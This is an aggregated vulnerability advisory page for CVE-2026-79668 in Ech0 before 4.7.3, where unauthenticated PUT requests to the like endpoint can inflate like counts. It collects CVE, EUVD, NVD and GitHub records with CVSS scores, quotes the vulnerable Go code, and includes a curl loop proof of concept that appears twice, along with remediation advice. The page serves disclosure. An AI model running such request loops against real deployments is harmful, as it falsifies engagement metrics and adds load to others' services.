Ech0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation
cve-program · CVE-2026-79668
PublishedEch0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Read the publisher's advisoryeuvd · EUVD-2026-65446
PublishedEch0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Read the publisher's advisorynvd · CVE-2026-79668
PublishedEch0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Read the publisher's advisoryosv · GHSA-rgj7-vg8v-j4wr
Published### Summary **No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests. ### Description **Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding. **Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users. **Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly. ### Affected files | Public route registration | `internal/router/echo.go` | | Like mutation (no auth check) | `internal/service/echo/echo.go` | | Handler | `internal/handler/echo/echo.go` | ### Vulnerable / relevant code **Public PUT route:** ```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags()) ``` **Service does not use viewer / rate limit:** ```244:248:Ech0/internal/service/echo/echo.go func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error { return echoService.transactor.Run(ctx, func(txCtx context.Context) error { return echoService.echoRepository.LikeEcho(txCtx, id) }) } ``` ### Execution flow 1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI). 2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header. 3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**. 4. Repeat N times → count increases by N. ### Proof of concept ```bash BASE="http://127.0.0.1:6277" OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data') ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \ -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id') # Single unauthenticated like curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" # Inflate (e.g. 55 times); expect HTTP 200 each time for i in $(seq 1 55); do curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" done # Observe fav_count curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}' ``` **Observed proof (manual test):** - Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`). - **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" /> ### Impact **Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale. **Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests. ## Remediation Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.
Read the publisher's advisoryosv · GO-2026-5623
PublishedEch0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-79668
PublishedEch0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
- Source published
- 25 Aug 2026 11:33:30 UTC
- Source modified
- 26 Aug 2026 16:11:48 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
euvd · EUVD-2026-65446
PublishedEch0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 11:33:30 AM
dateUpdated: Aug 26, 2026, 4:11:48 PM
- Source published
- Aug 25, 2026, 11:33:30 AM (timezone not stated)
- Source modified
- Aug 26, 2026, 4:11:48 PM (timezone not stated)
- Saved here
- 19 Nov 2026 18:51:01 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-79668
PublishedEch0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-306
Original publisher date fields
published: 2026-08-25T12:16:34.967
lastModified: 2026-08-31T20:38:54.340
- Source published
- 25 Aug 2026 12:16:34 UTC
- Source modified
- 31 Aug 2026 20:38:54 UTC
- Saved here
- 25 Oct 2026 16:19:04 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
osv · GHSA-rgj7-vg8v-j4wr
PublishedEch0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
### Summary **No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests. ### Description **Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding. **Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users. **Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly. ### Affected files | Public route registration | `internal/router/echo.go` | | Like mutation (no auth check) | `internal/service/echo/echo.go` | | Handler | `internal/handler/echo/echo.go` | ### Vulnerable / relevant code **Public PUT route:** ```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags()) ``` **Service does not use viewer / rate limit:** ```244:248:Ech0/internal/service/echo/echo.go func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error { return echoService.transactor.Run(ctx, func(txCtx context.Context) error { return echoService.echoRepository.LikeEcho(txCtx, id) }) } ``` ### Execution flow 1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI). 2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header. 3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**. 4. Repeat N times → count increases by N. ### Proof of concept ```bash BASE="http://127.0.0.1:6277" OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data') ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \ -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id') # Single unauthenticated like curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" # Inflate (e.g. 55 times); expect HTTP 200 each time for i in $(seq 1 55); do curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" done # Observe fav_count curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}' ``` **Observed proof (manual test):** - Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`). - **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" /> ### Impact **Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale. **Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests. ## Remediation Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.
- Source published
- 7 May 2026 21:21:21 UTC
- Source modified
- 27 Aug 2026 04:10:42 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Publisher rating · MODERATE
osv · GO-2026-5623
PublishedEch0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0
Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0
- Source published
- 25 Jun 2026 22:34:34 UTC
- Source modified
- 27 Aug 2026 04:10:42 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.